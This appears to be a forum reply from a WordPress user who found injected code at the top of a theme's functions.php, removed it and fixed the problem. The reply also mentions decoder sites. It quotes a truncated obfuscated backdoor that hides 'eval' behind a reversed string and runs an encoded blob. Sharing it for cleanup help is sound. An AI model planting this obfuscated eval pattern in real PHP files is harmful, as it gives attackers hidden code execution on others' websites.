I had similar code as kmitz pointed out in my functions.php at the very top.
It looked like this:
<?php $wp_function_initialize = create_function(‘$a’,strrev(‘;)a$(lave’)); $wp_function_initialize(strrev(‘;))”==gC7kiIwhGcf52 (some gibberish code) ?>
I removed the whole code block from <?php to ?>, that fixed my problem.
In case you are curious to decode any of the encrypted code, you can go to http://sucuri.net/ and get it decoded. In my case when I decoded I saw this code:
http://ddecode.com/phpdecoder/?results=d08102e24b67416ef67bc29b56d08a31
Hope this helps.
